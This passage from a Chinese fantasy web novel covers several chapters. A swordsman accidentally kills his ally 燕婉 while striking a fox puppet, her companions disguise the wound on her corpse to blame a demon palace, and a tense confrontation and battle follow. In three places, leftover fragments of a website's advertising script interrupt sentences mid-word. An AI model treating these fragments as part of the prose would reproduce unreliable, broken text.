这狐妖死死捏着燕婉的脖子,摆明了就是拿燕婉的命威胁他们,赌他们不敢动手。而此时他离这只狐妖傀儡不过十步的距离,如果贸然飞身上前,很难做到一击毙命,难保那只死狐狸手上一紧,直接要了燕婉的命。 为今之计,只有一个办法了。 公仪岭手腕微不可查地动了一下,仅仅一瞬间,归云便脱手而出,迅雷不及掩耳之势直刺向了那狐妖露出的脑袋! 他这飞出的一剑,乃是用尽了所有灵力的一剑,只要贯穿了那狐妖傀儡的脑袋,就足以将它死死地钉在后面的石壁上。 即便是他,在这样的生死关头,再自信也会心头一紧。 中了!但是…… 公仪岭的手还维持着飞剑而出的那个姿势,下一秒,便直接僵在了原地,遍体生寒。 107.永世不得见 永生再难忘(六) “阿姐——!!!” “师姐——!” 石室内两声撕心裂肺的哭喊,勉强把公仪岭出窍的魂魄给喊了回来。 在这千钧一发的时候,竟然是那只狐狸直接把手中的燕婉挪了些位置,替自己挡下了致命一剑。 但是,即便是挡下了也无济于事,归云这一剑力道之大,直接贯穿了他们一人一妖的身体。 狐狸傀儡尖声大叫,转瞬间整个身形都化作了黑烟散去,而被它掐着脖子的燕婉,也因为失去了受力,连人带剑滑落在地。 “阿姐!阿姐!——” 燕渊几乎是用尽了全身的力气,哭喊着连滚带爬地朝着燕婉爬去,直到爬到了燕婉的身旁,在看见燕婉逐渐苍白的面色时,慌乱之下,竟是抬手往自己的手上又划了一刀。 燕蓉看着这一幕,神色一凝,立刻伸手拽住了他的手腕:“少宗主!你这是做什么?!” “再输点血啊!师姐……” 燕渊带着哭腔,几近哀求看着燕蓉:“再输点血……师姐,你把我的血都拿去!我有血,求求你,救救阿姐……” 燕蓉眼中含泪,抿唇未答。 他掌心鲜血一滴滴落在燕婉的面颊上,可是她却毫无反应,一双眼睛了无生气地睁着。 “阿姐!阿姐……你醒醒!你再……你再跟我说句话啊!” 燕渊难以置信,跪在地上抱着她的身体痛不欲生,哭得撕心裂肺。 他这绝望的一声声哭喊,听得燕蓉也是心中绞痛。可她翻遍了自己身上带着的所有东西,却也没摸到任何一个能够给她续命的药,眼看着燕婉的瞳孔都涣散了,燕蓉无力地坐在地上,能够做的只有默默扯下布条,来给燕渊止血。 归云察觉到消灭了傀儡,剑身退出了燕婉的身体,重新回到了公仪岭手中。 公仪岭脸色煞白,腿上仿佛被卸干力气一样,摇摇欲坠。他颤抖着手,拿起了那沾满了鲜血的剑尖,无法相信眼前发生的一切。 不、不! 刚刚他明明,他明明是看好了时机,有了十成十的把握才出手的…… 可是明晃晃的事实却摆在他的眼前。 地上血流成河,早已经分不清楚到底是燕婉的血、还是燕渊和燕蓉的血。或许三者皆有,又或者,都只是燕婉一人的。 倒在血泊之中的人心口汩汩地流着血,睁着一双眼睛,想要对燕渊说些什么,但眼中的光华还是逐渐暗淡了下去。 公仪岭哑着声,想上前一步,两只脚却像被固定在了原地一样,动弹不得。 不管他尝试着想要给自己的失手想出一千种、一万种理由,脑中却还是一直回荡着同样的声音,反反复复地告诉他:公仪岭,是你杀了她。 归云剑滑落在地,凝滞了片刻后,他垂下了手。 他有什么资格靠近燕婉的尸身,去堂而皇之地说一些安慰人的话? 世界仿若都离他远去,空气瞬间安静下来,只有燕渊跪在地上的那声嘶力竭地哭喊在划破、刺激着他的耳膜。 直到燕渊再也感受不到燕婉身上的体温,才赤红着一双眼,嘶声对公仪岭大喝:“是你!是你!是你杀了阿姐!” 公仪岭脑中一片混沌,双手死死攥着衣袖垂下头,声音微不可闻:“是我……是我失手。” “我是不是说过,我是不是说过不要轻举妄动?!你为什么、你为什么还要这样做!!!” “对、对不起……我真的……” “对不起有用吗?!你说了对不起!我的阿姐就可以回来吗?!” 他这一句对不起,激得燕渊暴怒起身,目眦欲裂地扑向了公仪岭,死死揪着他的衣襟,悲愤至极地责问他。 公仪岭被他扑得踉跄着向后倒退两步,艰难开口:“我……我不知道,我真的……我刚刚真的是想要救她!” “想要救她?想要救她难道我们不能一起想办法吗?!哪怕……哪怕当时我和师姐……我们三个人一起上,难道还不能制服它一具傀儡吗?!” 公仪岭沉默地垂下头,不知该如何回答。 造成这样的局面,是他盲目自信,是他考虑不周。 说到底,最大的责任便是他。 燕蓉抬手拭去了眼角的泪水,将燕婉的眼睛合上,轻声道:“燕渊,这件事情,不能全怪公仪岭……若是我当时更小心一些,也不会被法术反噬了……” 燕渊流着泪道:“师姐!事到如今,你还与他这个杀人凶手开脱什么?!如果不是他飞出那一剑,阿姐她会死吗?!” “我知道,我知道公仪岭你是天之骄子,你是剑修天才!你自信没有你办不到的事情!可是,在你的眼里,难道人命也是可以用来赌的东西吗?!——” 石室内只剩下他们几人,不管燕渊如何发泄,公仪岭都沉默着没说一句话。 事实上,他自己都觉得已经抓不住自己的神智和灵识了。 公仪岭忽然感觉自己很可笑。 记忆倒退回到了中秋那日,虽然那时候两个人还没有太多交集,但燕婉依旧给他们带了自己亲手做的月饼,而他们,那时候甚至没有当面感谢她的好意。 而他,今天还亲手杀了她。 脑中一遍遍回想着方才的那一幕,一千遍、一万遍,然而,哪怕在他脑中预想了无数次当时的场景,想要重新再回到那个瞬间,阻止那时候的那个自命不凡的自己,来弥补犯下的过错。 可他终究是不能。 所有的解释、辩解、开脱,都是徒劳,都是无用。 等到燕渊骂得人都虚脱了,稍微安静了片刻后,燕蓉才缓缓开口道:“现在事情已经发生了,按照原本的计划,我们救出燕婉后,是要去玄霄殿与他们的对质的。” 燕渊哑着声,冷冷道:“对峙,还对质什么?阿姐都死了!现在去还有什么意义!” “少宗主,您冷静些!” 燕蓉不得不出言平复他的情绪,继续道:“再怎么说,也是他们玄霄殿劫人在先,放血在后,这件事,我们紫阳宗是必须得去与他们讨个说法的!” 说罢,她转头看向燕渊道:“少宗主,我知道您现在悲痛,但是现在事情演变成这样,已经偏离了我们原先的计划,我们必须得商量个对策,去玄霄殿后,要如何与他们对质!” 燕渊心如刀绞,道:“这还有什么可商量的!他们抓走我阿姐,已经是板上钉钉的事实了,难道还能被他们狡辩不成?!” “是事实。但是师姐现在的致死伤,是归云剑!一旦我们将她带到玄霄殿,想要用此事责问尹景轩的话,届时他们看到伤口后一口咬定是我们自导自演,又该如何?” 燕蓉说得不无道理,这也是公仪岭最为担心的问题。 他犯下的错事,等到事情尘埃落定以后,他自然会站出来承担罪责,只是,这件事情事关到仙魔两界的关系,稍有不慎也许大战就会一触即发,无论如何,这也不是他想看见的结局。 若是像劫走燕婉这样板上钉钉的事实,却因为自己无法弥补的过错而被颠倒黑白,那就真的无法挽回了。 燕蓉叹息道:“我们必然得想个办法,在玄霄殿上,把这件事完完整整推到他们的头上。” 燕渊 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 情绪激动地大喊:“师姐,杀死我阿姐的罪魁祸首,就是他公仪岭!就是他!” “我知道是他,但这样的事情,绝不能让玄霄殿的人知道!” 燕蓉喝完,顿了顿,随即又是厉声道:“少宗主,这个问题非常严重,如果反过来,他们一口咬死是我们害死燕婉师姐的话,到时候仙家与玄霄殿的矛盾必然爆发,弄不好恐怕就要开战了!” “开战就开战!难不成还以为我堂堂紫阳宗的少宗主会惧怕他们吗?!” 燕蓉道:“少宗主,我并非不赞同开战,只是,就算是真的开战,我们也必须师出有名,而不是让他们先找到一个冠冕堂皇的理由!” 燕渊冷声斥道:“我们本来就是占理的那边,他们盗走御魔幡、劫走我阿姐,又放了她的血,这一桩桩一件件,难道还不够吗!” “原先,我们是占理的。但是现在,就不好说了。” 燕蓉侧目看向公仪岭,平静道:“何况,我们这一次闯入迷雾林,杀死了他们的火凤,难保他们不会用这个借口发难我们。” 公仪岭低声道:“燕婉的死,是我的错……我没有想要推卸责任。” “等回去以后,我愿意接受任何惩罚,只是现在,我们还是不得不以大局为重。” 燕渊冷哼了一声,没有说话。 “回去以后,此事我们会原原本本告知众仙门,最终如何裁定,还是需得看三化殿的两位长老如何决断了。” 正在这时,公仪岭突然察觉到血池和头顶有异动,登时脸色一变,急声道:“现在御魔幡已成,我们又在这边闹出了这么大的动静,恐怕已经惊动了玄霄殿!” “该出去了。” 燕蓉凝视着这两个人,沉声道:“我们在这里已经耽误太久,不能再继续耽误了,现在要紧的是,必须得带着燕婉师姐出去!” 燕渊搂着怀中女子,泣声道:“我会带着阿姐回去,就算拼上我这条性命,也不会留她一个人在此地。” 燕蓉点了点头,对公仪岭道:“我和燕渊两个人现在情况都不好,公仪岭,你必须得带我们一起出去。不管你现在是什么状态,都得打起精神来!这件事情已经不能再糟糕下去了。” 公仪岭默默应声:“我明白。” 燕渊嘲道:“师姐,我不信他。” 燕蓉叹了口气,没有再与燕渊说什么,只是抬头定定地望向公仪岭。 公仪岭担忧地看着两个人身上的伤,只能咬牙劝道:“燕渊,我知道你现在不愿信我,但你们两个现在都受了重伤,想要出去不是一件容易的事情,你信我,我就算拼尽一身修为,也会把你们平安带出去的。” “……呵。” 燕蓉的神色是前所未有的严肃,她的视线转向燕婉身上的伤口,凝声道:“我们必须得把致命伤口处理掉。” 燕渊皱眉:“师姐,你这是什么意思?” “只有这样,才能让燕婉师姐的死变得合理化,名正言顺地把所有罪责先推到玄霄殿身上。” 听完这句话,公仪岭心中轻叹一声,敛了敛目,不忍继续听下去。 燕渊心中油然产生一种不祥的预感,不安问道:“燕蓉师姐,现在致命伤都在了,再怎么处理恐怕也瞒不住玄霄殿那些人吧!就算是用仙家的障眼法,也没有用的!” “我要说的,不是障眼法。” 燕蓉决然道:“少宗主,为今之计,只有一个办法!等下我们出了石室后,必然是要经过方才大殿上那一层,打出去才行!让那些怪,打到师姐的这个致命伤口,完全覆盖住,这样,必然能瞒天过海。” 108.永世不得见 永生再难忘(七) 燕渊愣住了,看着燕蓉的眼中带了些不可置信:“师姐!” 无论如何,他都没办法相信这样残忍的话会从师姐的口中说出来。 但燕蓉只是避开了燕渊的眼神,语气依旧不容置疑。 “少宗主,现在石室里只剩下我们几人,所有傀儡都死了,死无对证!这样的话,燕婉师姐到底是如何死的,解释权自然在我们手上!” 随后,她望了望垂头不语的公仪岭,低声对燕渊道:“事情的真相,你我都清楚,等到对峙完玄霄殿后,回到紫阳宗,再商议如何责罚公仪岭也不迟。” 公仪岭无法辩驳,只能默默点头。 燕蓉说罢,便强撑着起身。 公仪岭把他们俩扶起:“我会在前面替你们开路。” 三人都知道,在下来的时候,那些石板上的傀儡并没有消失,他们如果想要闯出侧殿,少不得需要打一场硬仗。 只是,现在两人这样的身体状况,能够在那里保全自身都已经十分不易,至于其他的,也就只能全靠公仪岭了。 燕蓉面目凝重,对公仪岭说道:“燕婉师姐身上的伤,打斗的时候我会处理,你不必顾忌,心无旁骛地给我们开路就是。” 公仪岭喃喃道:“多谢你了,燕蓉。” 一路跌跌撞撞抵达了石板处,公仪岭自己先上去掀开了石板,随后便让归云托着将受伤的两人带了上来。 如他预料的那般,侧殿内的那些傀儡依然没有散去,而是围绕着整个殿内不断搜寻着他们的踪迹。 等燕家几人上来以后,他这才重新召回归云,孤身一人冲向了如潮席卷的傀儡。 那些傀儡感受到了生人的气息,很快便齐齐转身,张牙舞爪地朝着公仪岭扑来。 公仪岭心中暗道一声:“来得正好!” 现下他正因为燕婉的事情心烦意乱,又寻不到一个合适的发泄口,这些傀儡这时候扑过来,无异于在他面前自寻死路。 公仪岭长剑一震,周身杀意顿起。燕蓉正要扶着燕渊起身之时,只见身旁一道身影闪过,五步开外的那具傀儡只来得及尖叫了一声,下一秒就已经身首异处。 燕蓉他们身上沾染了满身的血腥气,而那些傀儡一闻到燕婉的血就异常兴奋起来,一步步从两翼逼近了过来。 公仪岭不得不撤步回身,剑气扫出,将两侧的傀儡清了个干净,将两人拽到身后:“小心跟紧我!” 刚说完,面前立刻就窜出来了一具傀儡,就要动手夺剑!那鬼手刚要触碰到归云的剑锋,公仪岭咬牙抬剑,登时就把那手臂给拦了下来。 然而,他面前的这具傀儡比前几个更难对付,跟石头成精了似得,表皮坚硬无比,饶是他这样全力格挡,竟也难以割破他的手臂。 有了这皮厚的傀儡替其他的东西挡了剑,两侧的小鬼群情激奋,越战越勇,前仆后继地朝着三人猛冲。 燕渊忍着周身痛楚,用仅剩不多的灵力在公仪岭旁边扬出一道火光,暂时燎退了周围的部分小鬼。 只可惜,顾左不顾右,他也仅仅只能帮上这么一点忙。 几乎同时,不知从何处伸出来一只锐利的爪子,狠狠在公仪岭身后划出血口。 公仪岭吃痛,朝后踉跄了一步,心知不能与面前这个东西继续僵持下去,如此只会浪费时间,旋身将右侧那伤了自己的小鬼整个抓住,挥臂砸向了面前的傀儡。 这傀儡没料到他来这一手,,哇哇叫着倒飞出去,绊倒了一众傀儡,在地上砸出了一个大坑。 燕蓉无法再使用法术,只能以折扇作为武器,将燕渊身旁的几只傀儡打飞,将他们击退左右。 她看着面前杀红了眼的公仪岭,见他虽然斩杀了不少傀儡,但身上也没少受伤。不过片刻他的衣服就已经扯出了许多破洞,那红色的宗门衣服浸染了血液后,根本看不出来区别,燕蓉也只能从破损程度来判断他受了多重的伤。 那些傀儡一波接着一波,根本打不完似的,无数只缠绕着黑气的鬼手拍向他,稍微顾及不到,公仪岭便会被拍上一掌,呕出一口鲜血。 即便如此,他们也只走了一半的路程,距离殿门还有十余米的距离。但要面对的,却是前方一片黑压压的傀儡。 燕蓉心知不妙,如此拖延下去,不说她能不能保全自己和燕渊,公仪岭也迟早会因为内伤过重而灵力溃散,支撑不住重伤身亡。 而燕渊在施展出那一次火光后,便再没了力气,只能勉强抱住燕婉。 他看着面前的傀儡,咬牙开口问道:“师姐,现在怎么办?” 燕蓉沉默片刻道:“……没办法了,不能再拖延了。” 说罢,右手便凌空捏住了一只扑来傀儡的喉管,冷声道:“燕渊,你放下燕婉,退到身后!” 燕渊纵然再不忍,却也知这是唯一的办法了,轻轻将燕婉交到了燕蓉的手上,撇开了脸不愿去看后面发生什么。 燕蓉没有丝毫迟疑,手上瞬间发力,捏断了傀儡的脖子,随后,抓起它的右爪,狠狠捅向了燕婉心脏的位置。 这傀儡刚死,还没完全僵硬,手上又保持着抓取的动作,轻轻松松就在燕婉的心口豁开了一个大洞,完全将归云的剑伤给遮盖了过去。 燕蓉飞快地将那傀儡尸首丢出,大声对公仪岭道:“公仪岭,处理好了!不要与它们浪费时间!劈翻了就闯出去!” 燕渊听到她说的话,这才回过了头,流着泪将姐姐重新抱了起来。 公仪岭顿了顿,道:“好。” 归云化作了无数剑光,剑式瞬息万变,凌空击退了面前数具傀儡,给他们勉强开辟出了一条窄路。 “你们快跟上!归云辟开的这条路撑不了太久!” “走!” 燕蓉拉扯着身旁的人,强撑着一口气跟上。 眼看着还有几步路就要到殿门口了,公仪岭原本快支撑不住的身子顿时来了力气,就连正在流血的伤口都感受不到疼痛了,飞身横踢一脚,撞飞了面前的傀儡,也撞破了那道殿门。 几人心 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 中一松。公仪岭看着外面的日光,不由分说抓着身后两人出了门口的结界。 而那些傀儡,却因为被结界所挡,无法出来,只能呜咽着退回了大殿。 燕渊几乎是扑到在了结界外的地板上,像快要溺死的鱼一样大口呼吸着新鲜的空气,心中油然产生了死里逃生般的庆幸。 公仪岭的状况也没好到哪去,几乎能用惨不忍睹来形容。他半跪在地上,勉强用剑支撑着自己的身体,才不至于直接倒下去。 燕蓉看着他浑身的伤痕,和正在滴血的衣摆,皱眉道:“你可还撑得住?” 公仪岭缓缓道:“……没事,区区小伤而已,我撑得住。” 燕蓉却没给他其他选择,肃然道:“公仪岭你听好,事情还没了结,你撑不住也得给我撑住了!等到离开玄霄殿后,我问师拿几颗疗伤丹药,想必你能缓过来一点。” 燕渊呸出口中血沫,冷冷开口:“就他,还好意思问我爹要丹药?!我恨不能看着你直接死在殿里,永远出不来才好!” 公仪岭顿了顿:“我大哥也带了丹药,我问他拿就好。” 燕蓉叹息道:“少宗主,兹事体大,容我再强调一遍,等下我们进了玄霄殿后,千万不要提及今日公仪岭误杀燕婉之事。” 燕渊狠狠瞪了一眼旁边闭口不言的公仪岭,许久,还是勉强应了一声。 三人只在地上缓神了片刻就搀扶着起身,前去玄霄殿与众人汇合。 从偏殿绕到正殿的路两侧的路上,他们没少遇到巡查的魔族士兵,但还没等到他们上前盘查身份,就被公仪岭眼中的森然杀意给吓得脚步一停。 两厢权衡下,那些魔族士兵没有轻举妄动。 士兵中领头的一人很快就认出了燕渊怀着抱着的是谁,眸光一凝,很快就侧头与旁边的小兵耳语了一番,说完,那小兵就直接朝正殿方向跑去了。 而公仪岭他们现在满心想着的都是等下殿内可能发生的事情,无心与他们周旋,毫不客气地甩手几道剑光,把人打翻后扬长而去。 此刻,玄霄殿。 殿内正处在一个极僵硬局面,气氛无比凝重,殿下几人与殿上两人刚大吵完一架,此刻正僵持着,哪边都不愿让步。 公仪岚在心中默默计算着时间,焦虑不安地等待着公仪岭那边的消息。 从不久前开始,他的心就开始狂跳不止,仿若预感到会发生什么事情一样,极为不安。 若不是现在殿内局势如此紧张,他断然已经坐不住,要去寻人了。 他分神想着,如此难耐地等了有一炷香的时间,终于看到了玄霄殿大殿门口进来的身影。 “阿岭!” 公仪岚一眼认出来人,又惊又喜。可等到他看清楚进殿三人的模样后,脸上刚露出的笑意褪去,一颗心立刻揪了起来。 公仪岭全身上下遍布伤痕,手执归云剑,带着满身肃然的杀气入了正殿,甚至归云剑上,还淌着淋漓的鲜血,每走一步,便滴落在正殿的雕花石板上。 109.对峙玄霄殿 杀机疑四伏(一) 而他的身后,便是脸上苍白黯淡的燕蓉,和面如死灰,怀中抱着一个女子的燕渊。 公仪岚见到他们这样身负重伤的样子,再顾不得旁的什么,快步走到了公仪岭旁边。 他神色紧张,仔细检查着他身上的伤口,担忧道:“发生什么了?你怎么会受这么重的伤!” 公仪岭紧紧握着手中剑,垂头不语。 座上的尹景轩微微皱眉,虽然没说一句话,但尹鸿晔也知道他很是不满。 公仪岭他们三人,未作任何通报便闯入殿中,如此大胆的行径,要是放在平常,直接命人拿下都不为过。 尹鸿晔看到这场面,马上上前一步呵斥道:“什么人?!进了我们玄霄正殿之中,竟然敢堂而皇之地祭出兵刃!简直目无尊卑!” 公仪岭目无波澜,甚至没抬头看他们一眼,平静道:“云灵山,公仪岭。” 尹鸿晔再怎么说也是在魔族横着走的大殿下,什么时候遭受过这样的无视?当即怒了:“你这人,好大的胆子!竟敢……” 他话还没说完,就见殿下那执剑的身后两人,待看清楚其中一人抱着的是谁以后,面色顿时一沉。 而燕蓉和燕渊,两人再也支撑不住,脚下一个踉跄,便倒在地上。 燕修远和燕煦泽脸色骤变,疾步上前,想要去检查两人的伤势。 然而,燕渊一倒地,他怀中的燕婉便顺势落在了地上。 原先她身上被燕渊挡住的伤口,立刻就暴露在了众人眼前。如此穿心的伤口,一看便知,燕婉早已死去多时了。 燕修远、燕煦泽和齐清鸢见此情景,也是当即愣在原地,不可置信地望向殿上之人。 他们来之前并非没有做过这样的心理准备,可是当真的看到这一幕后,依然心痛如绞到无法接受。 “婉婉!” “婉婉……” “师姐……” 公仪岚见到燕婉的尸身,也是倒吸了一口凉气,心中一阵悲凉。 齐元白这时候也围了过来,看着公仪岭幽暗的目光,心觉不对,急声问道:“究竟是怎么回事?阿岭?” 公仪岭能够一直坚持到这已经实属不易,他眼前阵阵发黑,控制不住地跪倒在地,却还是勉力发声道:“先别管我……先救一救燕蓉和燕渊……他们施法时被傀儡所伤,遭到反噬……” 见他们状态不好,纪银灵连忙道:“现在不是追问的时候,他们的状态很差,先给他们医治要紧!” 公仪岚闻言,马上招呼承悦取出丹药,强行给公仪岭喂了下去。 那边燕煦泽简单给两个人把了一下脉搏,一人一个服下丹药,这才松了口气。 公仪岭吃下药后,才觉得身上疼痛稍微有所缓解,艰难地从石板上站起身。而燕蓉和燕渊过了一会儿也悠悠转醒,再度抬眼看到燕婉后,心里一阵酸楚,登时红了眼眶。 燕修远见她醒来,立即转头问道:“这到底是怎么回事?燕蓉,你说!” 燕蓉哑着声,道:“师父,我们……我们在玄霄殿偏殿的血池里找到了师姐,刚为师姐疗伤不久,便被突然出现的傀儡打断,少宗主与我因此重伤,这才……这才眼睁睁地看着师姐死在了那些傀儡的手上!” 齐元白诧异地看向公仪岭:“怎么会?!有阿岭保护你们,再怎么样也不至于……” 可这么一看,齐元白剩下的话也说不出口了。 他从没想到会从公仪岭脸上看到如此灰败的面色,像是整个人都被抽干了精气神,遭受了巨大打击一般,面对齐元白的疑问,竟是紧紧握了握拳头,却又无助地松开了去。 公仪岭低头道:“是我修为不够,我没有保护好他们,元白,不必再说了。” 承悦紧张道:“那你是在玄霄殿侧殿找到的燕婉姑娘吧?” “还有什么好问的?!” 齐清鸢带着哭腔,指着整座上那尹景轩道:“现在人都被带出来了,铁证如山,婉婉就是在他们玄霄殿找到的!当初中秋宴上把婉婉劫走的,就是他们!” 她这一嗓子,也将燕修远的灵识唤了回来。 燕修远当即起身,冷冷对着尹景轩开口道:“若是没记错的话,方才魔尊与我们商谈之时,分明说的是绝无此事,怎么到头来,还是在你们的玄霄殿找到了我女儿?!” 尹景轩嗤笑一声,自座位上起身道:“想不到,今日我玄霄殿内竟然如此热闹,先是你们几个宗主联起手来过来质问我们玄霄殿,现在又不知道哪里冒出来几个小朋友过来,在我这边演得一出好戏,当真是好生精彩啊!” 说完,他竟然还伸了手,笑着向他们鼓了鼓掌。 燕蓉寒声道:“笑话,这人关没关在你们玄霄殿,你们最清楚,少在这边惺惺作态了!如今我们明明白白从你们地方将人带了出来,中秋宴劫人一事,已是证据确凿!你以为,光靠你狡辩两句,就能颠倒黑白了吗!” 公仪岭恨声道:“我这身上的道道伤痕,皆是被你们豢养的傀儡所伤,如今,整个玄霄侧殿内,都是打斗和鲜血的痕迹,难道我们还能做得了假吗?!” 大殿内沉默了片刻后,尹景轩站在上面,忽然哈哈笑出了声。 他勾唇道:“好吧,小仙师们,我也不同你们浪费时间扯皮了。” “劫走燕婉的事情,就是我们做的,那又如何呢?” 此话一出,大殿上立刻剑拔弩张起来。 燕修远沉声道:“果然是你做的,你终于承认了。” “承认了又如何?” 尹景轩悠然自椅子上坐下,泰然自若:“如今御魔幡已炼成,你宝贝女儿的性命,于我而言早已无用,就凭你们区区几人,今日能不能出我这玄霄殿还难说,又能奈我何?” 燕渊闻言大怒,起身祭出法器,一道烈火径直打向座位上的人,吼道:“你这魔头!!!你还我阿姐!!” 尹景轩在正座上一动不动,甚至连眼皮都没抬一下,他旁边守着的尹鸿晔便已经长刀一振,替他挡下了攻击。 尹鸿晔喝道:“好大的狗胆,竟敢在玄霄殿用术法!我看你们是不是想撕破脸?!” 燕渊没有丝毫畏惧,双目喷火死死盯着这人,最后还是被燕修远拦了下去。 燕修远厉声道:“御魔幡乃是我紫阳宗的宝物,岂能落入你们手中?!若是今日,你们把御魔幡交出 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 来,我等可以既往不咎,仙魔两界,还能和平共处!” “现在御魔幡在我们手中,我们凭本事抢来的,那自然是我们的东西!想让我们交出来,做梦!” 公仪岭骂道:“呸!什么狗屁不通的歪理!有本事你们去看看抢来的御魔幡上面,说不定还留有紫阳宗的徽记呢?怎么就变成你们的东西了?” 尹鸿晔嗤笑道:“有徽记又如何?有本事你们也凭本事抢回去啊!怎么,难不成你们没本事拿回去,还想主动与我们开战不成?从前我可是记得,你们仙家口口声声要保护天下太平,如今竟也做得先行挑起战火的人了?” 纪银灵上前一步,道:“玄霄殿先夺御魔幡,后劫走残害了紫阳宗燕婉,又设下迷雾林,害得我们六弦阁折损两人,如此桩桩件件,我们仙家便是现在与你们宣战,那也是师出有名!” “真是好一个师出有名。” 尹景轩道:“我看你们几位小仙师真是忘性大得很啊,这才过了多久,就忘记是你们先闯入我的迷雾林,又杀了我养着的赤炎真火凤?现在跑来跟我翻旧账,把你们折损的那两人算到我们头上,真是可笑至极!” 燕蓉勉强站起身,斥道:“荒谬!若不是你们无视紫阳宗传来的信函,我们怎么会冒这么大风险直接闯林!误杀火凤乃是因为情况危急,迫不得已才出此下策,你们如何能以此来反咬一口!” 尹景轩语气森然:“你们不光闯入迷雾林,还私自进入玄霄殿侧殿,杀了我那么多傀儡,现在还指望我能心平气和与你们商谈?我看你们今日闯入玄霄殿,就是居心叵测,想要掀起腥风血雨!” 听着他们这派看似大义凛然的发言,公仪岭只觉好笑,还心中咒骂了他们几百遍。 他手上还拿着归云剑,已是懒得与这些人废话了,剑一横挡在身前:“你们劫人在先,放血在后,我们若是不闯入玄霄殿讨个说法,难道还坐以待毙不成!” 尹景轩突然咧嘴笑了,他拂袖起身,微微抬手,高声道:“你说对了,公仪岭。” “你们闯入我的地界,还省得我们到时候大动干戈,这可真是太好了!你们以为,我玄霄殿是你们能说闯就闯,说走就走的吗?!” 话音刚落,玄霄殿宛如地动山摇,四周爆鸣声顿起。 公仪岭心叫不好,顿时明白过来他刚刚抬手是为了召出傀儡。 “小心——” 齐元白大叫一声,飞身上前,一个翻滚将齐清鸢带到了旁边。下一秒,她原先站着的位置就伸出了一只鬼爪,五根手指在地面上疯狂地想要抓取着什么。 齐清鸢惊魂未定地看向那边,扬手飞出一道符箓。 结果符纸刚贴上那只鬼爪,下一秒便被撕了个粉碎。 齐元白见状,面色一沉。 清鸢飞出的那道符箓他自是一清二楚,效果绝不会差。如今却没有起到一点用处,看样子,御魔幡对这些傀儡已经起到作用了。 他这边还没怎么与傀儡正面交过手,就算惊诧也转瞬即逝。而不远处的公仪岭,却是直接惊呼出声了。 从地里面冒出来的这些傀儡,与他从前遇到的虽然相似,却多了几分不同。 110.对峙玄霄殿 杀机疑四伏(二) 最大的区别便是,每一具傀儡,竟然都能够清晰地说出人话,而它们的表皮,也都不再像从前一个惨白如纸,而是多了几分血色。 说这是傀儡都算牵强了,在他看来,光从它们表面判断的话,几乎与正常人无异! 只有那双眼睛里,依然是一双白瞳未变,勉强用作区分。 公仪岚也发现了这个情况,惊诧道:“怎会如此!” 没给他们反应的时间,那些傀儡就已经爬出了地面,就连殿门口的大门也“砰”地一声关上了,直接断了所有人的退路。 公仪岭身上的血腥气极大的吸引了那些傀儡的注意,面前一下子扑上来了三只傀儡。他手中归云扫出,剑光纷至,直接将傀儡给劈倒在地。 看见傀儡身上露出的豁口,公仪岭心念一动,继而大喜。 这些东西,竟然比他在侧殿里遇到的那些,更加脆弱一些!至少,他在侧殿带着人突出重围的时候,那些傀儡可都坚硬地跟石头一样。 不过,虽然傀儡身上更容易伤到了,但是它们出招的方式却越来越凌厉,身形也越来越快,甚至还学会了去捡地上魔卫兵掉落的佩剑和其他武器,来与他们搏斗。 公仪岭很快明白了这是怎么回事。 从燕婉失踪开始,到今日也只是过了四十五日,离七七四十九日分明还差四日,想必是他们在石室惊动机关的时候,已经被尹景轩知晓,这才暗地里催化了御魔幡,这才让它少了四日,提前炼成。 但话是这么说,少了四日会有什么影响,恐怕连燕修远都不甚清楚,更别说玄霄殿的人了,必然是御魔幡上产生了什么合理的变化,才让他们如此笃定,已经炼成。 不管如何,这对公仪岭他们来说都是一个好消息。 但为了防止他们再次利用燕婉的尸身做什么,公仪岭还是转头对燕渊喊了一句:“保护好你姐姐!” 燕渊哪里想跟他说话,狠狠地剜了他一眼,单手抱着燕婉朝后退了两步,折扇扫过之处,遍地燃起火光。 公仪岭心中叹息一声,环顾四周,看见傀儡众多,众人皆是自顾不暇,甚至燕煦泽和燕修远为了保护自家两个受伤的,还得看护两侧,又是大大的分神。 公仪岚只能让承悦去从旁策应他们,自己则是控制着彻云剑,帮齐元白扫清周围的阻碍。 齐元白来不及嘱托妹妹一句,闪身避开旁边的傀儡,手中飞速结印,周身狂风顿起,无数无形的符箓环绕于旁,法诀念毕,便直冲向殿内傀儡,如网一样限制住了它们的所有行动,不让它们出手伤人。 他大喝一声:“阿岭,接上!” 公仪岭知道他的意思,双指纵着归云,数道剑光闪过,割断了符纸里那些傀儡的咽喉。 尽管他们看起来配合得天衣无缝,但公仪岭还是想对齐元白说一句:“太乱来了!” 这么多符箓,全都是以他自身强劲的灵力幻化而成,而如今殿内燕渊正四处纵火,燕修远还四处扇风,若是不小心碰到,岂不是反伤自身! 齐元白听到他的话一愣,随即明白过来他的意思,紧张道:“清鸢旧伤还没好,刚刚又差点遭到毒手,我这才……” 公仪岭无奈:“还是小心些吧。” 他面前的傀儡被撂倒,转瞬间又杀了这么多傀儡,正座旁的尹鸿晔见他有点修为,手中长刀一转,纵身飞跃至殿下,对着公仪岭便砍了过来。 公仪岭本就身心俱疲,心中正烦闷,想找个出气的地方,见他下场,冷笑一声:“来得正好,就怕你不下来呢!” 说罢,他抬手召回归云,瞬间就挡下了这一击,一声厉喝将他的长刀打退。 尹鸿晔没料到他竟然能直接用剑震开自己的长刀,目露惊诧,执刀后退了两步稳住身形后,话语间竟然变态似的多出了几分欣喜:“哎哟,有点水平,想不到你们仙家废了这么多年,还能出这样的高手?” 公仪岭冷冷道:“少信口开河,谁不知道几十年前我们先辈刚平定了你们一次叛乱,打不过就是打不过,还好意思说我们废?若是我今天没受重伤的话,你能在我手上坚持三招吗?” “够嚣张!” 尹鸿晔嗤笑一声,提着刀又冲了上去。 公仪岭恨不得直接赤手空拳,狠狠教训尹鸿晔一顿,可也心知刚刚才经历一场恶战,自己现在的状态实在不佳,在这样灵力匮乏、心绪不定的情况下,硬碰硬肯定不是尹鸿晔的对手,努力克制住了自己。 不远处的纪银灵担心公仪岭受伤吃亏,手执叱灵琴,旋身打飞两侧傀儡,立刻抚上琴弦,向尹鸿晔扫出一道利刃。 